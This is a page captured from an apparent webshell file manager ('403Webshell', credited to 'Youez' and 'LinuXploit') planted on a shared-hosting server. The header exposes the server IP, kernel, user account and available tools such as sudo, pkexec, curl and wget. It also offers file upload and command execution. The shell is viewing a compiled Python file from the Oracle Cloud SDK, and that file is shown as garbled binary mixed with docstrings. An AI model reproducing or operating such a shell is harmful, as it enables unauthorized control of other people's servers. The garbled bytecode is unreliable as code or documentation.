403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/oci/devops/models/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/oci/devops/models/__pycache__/pull_request.cpython-39.opt-1.pyc
a

���f�m�@s8ddlmZmZmZddlmZeGdd�de��ZdS)�)�formatted_flat_dict�
NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc@s�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
d�Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejd d��Zed!d"��Zejd#d"��Zed$d%��Zejd&d%��Zed'd(��Zejd)d(��Zed*d+��Zejd,d+��Zed-d.��Zejd/d.��Zed0d1��Zejd2d1��Zed3d4��Zejd5d4��Zed6d7��Zejd8d7��Zed9d:��Z e jd;d:��Z ed<d=��Z!e!jd>d=��Z!ed?d@��Z"e"jdAd@��Z"edBdC��Z#e#jdDdC��Z#edEdF��Z$e$jdGdF��Z$edHdI��Z%e%jdJdI��Z%edKdL��Z&e&jdMdL��Z&edNdO��Z'e'jdPdO��Z'edQdR��Z(e(jdSdR��Z(dTdU�Z)dVdW�Z*dXdY�Z+dZS)[�PullRequestz[
    Pull Request containing the diff between a review branch and a destination branch
    �CREATING�UPDATING�ACTIVE�DELETING�DELETED�FAILED�OPEN�CONFLICT�CLOSED�MERGING�MERGEDcKs�dddddddddddddddddddddddd	�|_d
ddd
ddddddddddddddddddd d	�|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_	d!|_
d!|_d!|_d!|_
d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!|_d!S)"a�
        Initializes a new PullRequest object with values from keyword arguments.
        The following keyword arguments are supported (corresponding to the getters/setters of this class):

        :param id:
            The value to assign to the id property of this PullRequest.
        :type id: str

        :param display_name:
            The value to assign to the display_name property of this PullRequest.
        :type display_name: str

        :param description:
            The value to assign to the description property of this PullRequest.
        :type description: str

        :param compartment_id:
            The value to assign to the compartment_id property of this PullRequest.
        :type compartment_id: str

        :param repository_id:
            The value to assign to the repository_id property of this PullRequest.
        :type repository_id: str

        :param source_branch:
            The value to assign to the source_branch property of this PullRequest.
        :type source_branch: str

        :param destination_branch:
            The value to assign to the destination_branch property of this PullRequest.
        :type destination_branch: str

        :param source_commit_id_at_termination:
            The value to assign to the source_commit_id_at_termination property of this PullRequest.
        :type source_commit_id_at_termination: str

        :param merge_base_commit_id_at_termination:
            The value to assign to the merge_base_commit_id_at_termination property of this PullRequest.
        :type merge_base_commit_id_at_termination: str

        :param time_created:
            The value to assign to the time_created property of this PullRequest.
        :type time_created: datetime

        :param time_updated:
            The value to assign to the time_updated property of this PullRequest.
        :type time_updated: datetime

        :param lifecycle_state:
            The value to assign to the lifecycle_state property of this PullRequest.
            Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "DELETING", "DELETED", "FAILED", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type lifecycle_state: str

        :param lifecycle_details:
            The value to assign to the lifecycle_details property of this PullRequest.
            Allowed values for this property are: "OPEN", "CONFLICT", "CLOSED", "MERGING", "MERGED", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type lifecycle_details: str

        :param reviewers:
            The value to assign to the reviewers property of this PullRequest.
        :type reviewers: list[oci.devops.models.Reviewer]

        :param merge_checks:
            The value to assign to the merge_checks property of this PullRequest.
        :type merge_checks: oci.devops.models.MergeCheckCollection

        :param created_by:
            The value to assign to the created_by property of this PullRequest.
        :type created_by: oci.devops.models.PrincipalDetails

        :param merged_by:
            The value to assign to the merged_by property of this PullRequest.
        :type merged_by: oci.devops.models.PrincipalDetails

        :param source_repository_id:
            The value to assign to the source_repository_id property of this PullRequest.
        :type source_repository_id: str

        :param total_comments:
            The value to assign to the total_comments property of this PullRequest.
        :type total_comments: int

        :param total_reviewers:
            The value to assign to the total_reviewers property of this PullRequest.
        :type total_reviewers: int

        :param freeform_tags:
            The value to assign to the freeform_tags property of this PullRequest.
        :type freeform_tags: dict(str, str)

        :param defined_tags:
            The value to assign to the defined_tags property of this PullRequest.
        :type defined_tags: dict(str, dict(str, object))

        :param system_tags:
            The value to assign to the system_tags property of this PullRequest.
        :type system_tags: dict(str, dict(str, object))

        �strZdatetimezlist[Reviewer]ZMergeCheckCollectionZPrincipalDetails�intzdict(str, str)zdict(str, dict(str, object)))�id�display_name�description�compartment_id�
repository_id�
source_branch�destination_branch�source_commit_id_at_termination�#merge_base_commit_id_at_termination�time_created�time_updated�lifecycle_state�lifecycle_details�	reviewers�merge_checks�
created_by�	merged_by�source_repository_id�total_comments�total_reviewers�
freeform_tags�defined_tags�system_tagsrZdisplayNamerZ
compartmentIdZrepositoryIdZsourceBranchZdestinationBranchZsourceCommitIdAtTerminationZmergeBaseCommitIdAtTerminationZtimeCreatedZtimeUpdatedZlifecycleStateZlifecycleDetailsr!ZmergeChecksZ	createdByZmergedByZsourceRepositoryIdZ
totalCommentsZtotalReviewersZfreeformTagsZdefinedTagsZ
systemTagsN)Z
swagger_typesZ
attribute_map�_id�
_display_name�_description�_compartment_id�_repository_id�_source_branch�_destination_branch� _source_commit_id_at_termination�$_merge_base_commit_id_at_termination�
_time_created�
_time_updated�_lifecycle_state�_lifecycle_details�
_reviewers�
_merge_checks�_created_by�
_merged_by�_source_repository_id�_total_comments�_total_reviewers�_freeform_tags�
_defined_tags�_system_tags)�self�kwargs�rD�B/usr/lib/python3.9/site-packages/oci/devops/models/pull_request.py�__init__>s�g��zPullRequest.__init__cCs|jS)z�
        **[Required]** Gets the id of this PullRequest.
        Unique identifier that is immutable on creation


        :return: The id of this PullRequest.
        :rtype: str
        �r+�rBrDrDrEr�s
zPullRequest.idcCs
||_dS)z�
        Sets the id of this PullRequest.
        Unique identifier that is immutable on creation


        :param id: The id of this PullRequest.
        :type: str
        NrG)rBrrDrDrEr�s
cCs|jS)z�
        **[Required]** Gets the display_name of this PullRequest.
        PullRequest title, can be renamed


        :return: The display_name of this PullRequest.
        :rtype: str
        �r,rHrDrDrErs
zPullRequest.display_namecCs
||_dS)z�
        Sets the display_name of this PullRequest.
        PullRequest title, can be renamed


        :param display_name: The display_name of this PullRequest.
        :type: str
        NrI)rBrrDrDrErs
cCs|jS)z�
        Gets the description of this PullRequest.
        Details of the pull request. Avoid entering confidential information.


        :return: The description of this PullRequest.
        :rtype: str
        �r-rHrDrDrEr s
zPullRequest.descriptioncCs
||_dS)z�
        Sets the description of this PullRequest.
        Details of the pull request. Avoid entering confidential information.


        :param description: The description of this PullRequest.
        :type: str
        NrJ)rBrrDrDrEr,s
cCs|jS)z�
        **[Required]** Gets the compartment_id of this PullRequest.
        Compartment Identifier


        :return: The compartment_id of this PullRequest.
        :rtype: str
        �r.rHrDrDrEr8s
zPullRequest.compartment_idcCs
||_dS)z�
        Sets the compartment_id of this PullRequest.
        Compartment Identifier


        :param compartment_id: The compartment_id of this PullRequest.
        :type: str
        NrK)rBrrDrDrErDs
cCs|jS)z�
        **[Required]** Gets the repository_id of this PullRequest.
        DevOps Repository Identifier tells which repository this pull request belongs to


        :return: The repository_id of this PullRequest.
        :rtype: str
        �r/rHrDrDrErPs
zPullRequest.repository_idcCs
||_dS)z�
        Sets the repository_id of this PullRequest.
        DevOps Repository Identifier tells which repository this pull request belongs to


        :param repository_id: The repository_id of this PullRequest.
        :type: str
        NrL)rBrrDrDrEr\s
cCs|jS)z�
        **[Required]** Gets the source_branch of this PullRequest.
        The source branch which contains the changes to be reviewed. Example: "feature/JIRA-123"


        :return: The source_branch of this PullRequest.
        :rtype: str
        �r0rHrDrDrErhs
zPullRequest.source_branchcCs
||_dS)z�
        Sets the source_branch of this PullRequest.
        The source branch which contains the changes to be reviewed. Example: "feature/JIRA-123"


        :param source_branch: The source_branch of this PullRequest.
        :type: str
        NrM)rBrrDrDrErts
cCs|jS)a
        **[Required]** Gets the destination_branch of this PullRequest.
        The destination branch against which the changes are to be reviewed. Example: "main".


        :return: The destination_branch of this PullRequest.
        :rtype: str
        �r1rHrDrDrEr�s
zPullRequest.destination_branchcCs
||_dS)a
        Sets the destination_branch of this PullRequest.
        The destination branch against which the changes are to be reviewed. Example: "main".


        :param destination_branch: The destination_branch of this PullRequest.
        :type: str
        NrN)rBrrDrDrEr�s
cCs|jS)a
        Gets the source_commit_id_at_termination of this PullRequest.
        The source branch commit ID when the Pull Request status was last changed to merged or closed


        :return: The source_commit_id_at_termination of this PullRequest.
        :rtype: str
        �r2rHrDrDrEr�s
z+PullRequest.source_commit_id_at_terminationcCs
||_dS)a3
        Sets the source_commit_id_at_termination of this PullRequest.
        The source branch commit ID when the Pull Request status was last changed to merged or closed


        :param source_commit_id_at_termination: The source_commit_id_at_termination of this PullRequest.
        :type: str
        NrO)rBrrDrDrEr�s
cCs|jS)a
        Gets the merge_base_commit_id_at_termination of this PullRequest.
        The merge base commit ID when the Pull Request status was last changed to merged or closed


        :return: The merge_base_commit_id_at_termination of this PullRequest.
        :rtype: str
        �r3rHrDrDrEr�s
z/PullRequest.merge_base_commit_id_at_terminationcCs
||_dS)a<
        Sets the merge_base_commit_id_at_termination of this PullRequest.
        The merge base commit ID when the Pull Request status was last changed to merged or closed


        :param merge_base_commit_id_at_termination: The merge_base_commit_id_at_termination of this PullRequest.
        :type: str
        NrP)rBrrDrDrEr�s
cCs|jS)z�
        **[Required]** Gets the time_created of this PullRequest.
        The time the PullRequest was created. An RFC3339 formatted datetime string


        :return: The time_created of this PullRequest.
        :rtype: datetime
        �r4rHrDrDrEr�s
zPullRequest.time_createdcCs
||_dS)z�
        Sets the time_created of this PullRequest.
        The time the PullRequest was created. An RFC3339 formatted datetime string


        :param time_created: The time_created of this PullRequest.
        :type: datetime
        NrQ)rBrrDrDrEr�s
cCs|jS)z�
        Gets the time_updated of this PullRequest.
        The time the PullRequest was updated. An RFC3339 formatted datetime string


        :return: The time_updated of this PullRequest.
        :rtype: datetime
        �r5rHrDrDrEr�s
zPullRequest.time_updatedcCs
||_dS)z�
        Sets the time_updated of this PullRequest.
        The time the PullRequest was updated. An RFC3339 formatted datetime string


        :param time_updated: The time_updated of this PullRequest.
        :type: datetime
        NrR)rBrrDrDrEr�s
cCs|jS)a�
        **[Required]** Gets the lifecycle_state of this PullRequest.
        The current state of the PullRequest.

        Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "DELETING", "DELETED", "FAILED", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The lifecycle_state of this PullRequest.
        :rtype: str
        )r6rHrDrDrEr�s
zPullRequest.lifecycle_statecCs gd�}t||�sd}||_dS)z�
        Sets the lifecycle_state of this PullRequest.
        The current state of the PullRequest.


        :param lifecycle_state: The lifecycle_state of this PullRequest.
        :type: str
        )rrr	r
rr�UNKNOWN_ENUM_VALUEN)rr6)rBr�allowed_valuesrDrDrErs

cCs|jS)a�
        **[Required]** Gets the lifecycle_details of this PullRequest.
        The status of the Pull Request.

        Allowed values for this property are: "OPEN", "CONFLICT", "CLOSED", "MERGING", "MERGED", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The lifecycle_details of this PullRequest.
        :rtype: str
        )r7rHrDrDrEr s
zPullRequest.lifecycle_detailscCs gd�}t||�sd}||_dS)z�
        Sets the lifecycle_details of this PullRequest.
        The status of the Pull Request.


        :param lifecycle_details: The lifecycle_details of this PullRequest.
        :type: str
        )r
rrrrrSN)rr7)rBr rTrDrDrEr %s

cCs|jS)z�
        Gets the reviewers of this PullRequest.
        List of Reviewers.


        :return: The reviewers of this PullRequest.
        :rtype: list[oci.devops.models.Reviewer]
        �r8rHrDrDrEr!4s
zPullRequest.reviewerscCs
||_dS)z�
        Sets the reviewers of this PullRequest.
        List of Reviewers.


        :param reviewers: The reviewers of this PullRequest.
        :type: list[oci.devops.models.Reviewer]
        NrU)rBr!rDrDrEr!@s
cCs|jS)z�
        Gets the merge_checks of this PullRequest.

        :return: The merge_checks of this PullRequest.
        :rtype: oci.devops.models.MergeCheckCollection
        �r9rHrDrDrEr"LszPullRequest.merge_checkscCs
||_dS)z�
        Sets the merge_checks of this PullRequest.

        :param merge_checks: The merge_checks of this PullRequest.
        :type: oci.devops.models.MergeCheckCollection
        NrV)rBr"rDrDrEr"VscCs|jS)z�
        **[Required]** Gets the created_by of this PullRequest.

        :return: The created_by of this PullRequest.
        :rtype: oci.devops.models.PrincipalDetails
        �r:rHrDrDrEr#`szPullRequest.created_bycCs
||_dS)z�
        Sets the created_by of this PullRequest.

        :param created_by: The created_by of this PullRequest.
        :type: oci.devops.models.PrincipalDetails
        NrW)rBr#rDrDrEr#jscCs|jS)z�
        Gets the merged_by of this PullRequest.

        :return: The merged_by of this PullRequest.
        :rtype: oci.devops.models.PrincipalDetails
        �r;rHrDrDrEr$tszPullRequest.merged_bycCs
||_dS)z�
        Sets the merged_by of this PullRequest.

        :param merged_by: The merged_by of this PullRequest.
        :type: oci.devops.models.PrincipalDetails
        NrX)rBr$rDrDrEr$~scCs|jS)a0
        Gets the source_repository_id of this PullRequest.
        The OCID of the forked repository that will act as the source of the changes to be included in the pull request against the parent repository.


        :return: The source_repository_id of this PullRequest.
        :rtype: str
        �r<rHrDrDrEr%�s
z PullRequest.source_repository_idcCs
||_dS)aC
        Sets the source_repository_id of this PullRequest.
        The OCID of the forked repository that will act as the source of the changes to be included in the pull request against the parent repository.


        :param source_repository_id: The source_repository_id of this PullRequest.
        :type: str
        NrY)rBr%rDrDrEr%�s
cCs|jS)z�
        **[Required]** Gets the total_comments of this PullRequest.
        The total number of comments on the pull request.


        :return: The total_comments of this PullRequest.
        :rtype: int
        �r=rHrDrDrEr&�s
zPullRequest.total_commentscCs
||_dS)z�
        Sets the total_comments of this PullRequest.
        The total number of comments on the pull request.


        :param total_comments: The total_comments of this PullRequest.
        :type: int
        NrZ)rBr&rDrDrEr&�s
cCs|jS)z�
        **[Required]** Gets the total_reviewers of this PullRequest.
        The total number of reviewers on the pull request.


        :return: The total_reviewers of this PullRequest.
        :rtype: int
        �r>rHrDrDrEr'�s
zPullRequest.total_reviewerscCs
||_dS)z�
        Sets the total_reviewers of this PullRequest.
        The total number of reviewers on the pull request.


        :param total_reviewers: The total_reviewers of this PullRequest.
        :type: int
        Nr[)rBr'rDrDrEr'�s
cCs|jS)a�
        **[Required]** Gets the freeform_tags of this PullRequest.
        Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only.  See `Resource Tags`__. Example: `{"bar-key": "value"}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :return: The freeform_tags of this PullRequest.
        :rtype: dict(str, str)
        �r?rHrDrDrEr(�szPullRequest.freeform_tagscCs
||_dS)a�
        Sets the freeform_tags of this PullRequest.
        Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only.  See `Resource Tags`__. Example: `{"bar-key": "value"}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :param freeform_tags: The freeform_tags of this PullRequest.
        :type: dict(str, str)
        Nr\)rBr(rDrDrEr(�scCs|jS)a�
        **[Required]** Gets the defined_tags of this PullRequest.
        Defined tags for this resource. Each key is predefined and scoped to a namespace. See `Resource Tags`__. Example: `{"foo-namespace": {"bar-key": "value"}}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :return: The defined_tags of this PullRequest.
        :rtype: dict(str, dict(str, object))
        �r@rHrDrDrEr)�szPullRequest.defined_tagscCs
||_dS)a�
        Sets the defined_tags of this PullRequest.
        Defined tags for this resource. Each key is predefined and scoped to a namespace. See `Resource Tags`__. Example: `{"foo-namespace": {"bar-key": "value"}}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :param defined_tags: The defined_tags of this PullRequest.
        :type: dict(str, dict(str, object))
        Nr])rBr)rDrDrEr)�scCs|jS)a�
        **[Required]** Gets the system_tags of this PullRequest.
        Usage of system tag keys. These predefined keys are scoped to namespaces. See `Resource Tags`__. Example: `{"orcl-cloud": {"free-tier-retained": "true"}}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :return: The system_tags of this PullRequest.
        :rtype: dict(str, dict(str, object))
        �rArHrDrDrEr*szPullRequest.system_tagscCs
||_dS)a�
        Sets the system_tags of this PullRequest.
        Usage of system tag keys. These predefined keys are scoped to namespaces. See `Resource Tags`__. Example: `{"orcl-cloud": {"free-tier-retained": "true"}}`

        __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm


        :param system_tags: The system_tags of this PullRequest.
        :type: dict(str, dict(str, object))
        Nr^)rBr*rDrDrEr*scCst|�S�N)rrHrDrDrE�__repr__$szPullRequest.__repr__cCs|durdS|j|jkS)NF)�__dict__�rB�otherrDrDrE�__eq__'szPullRequest.__eq__cCs
||kSr_rDrbrDrDrE�__ne__-szPullRequest.__ne__N),�__name__�
__module__�__qualname__�__doc__ZLIFECYCLE_STATE_CREATINGZLIFECYCLE_STATE_UPDATINGZLIFECYCLE_STATE_ACTIVEZLIFECYCLE_STATE_DELETINGZLIFECYCLE_STATE_DELETEDZLIFECYCLE_STATE_FAILEDZLIFECYCLE_DETAILS_OPENZLIFECYCLE_DETAILS_CONFLICTZLIFECYCLE_DETAILS_CLOSEDZLIFECYCLE_DETAILS_MERGINGZLIFECYCLE_DETAILS_MERGEDrF�propertyr�setterrrrrrrrrrrrr r!r"r#r$r%r&r'r(r)r*r`rdrerDrDrDrErs�3




























	
	
	
	
	
	

















rN)Zoci.utilrrrZoci.decoratorsr�objectrrDrDrDrE�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit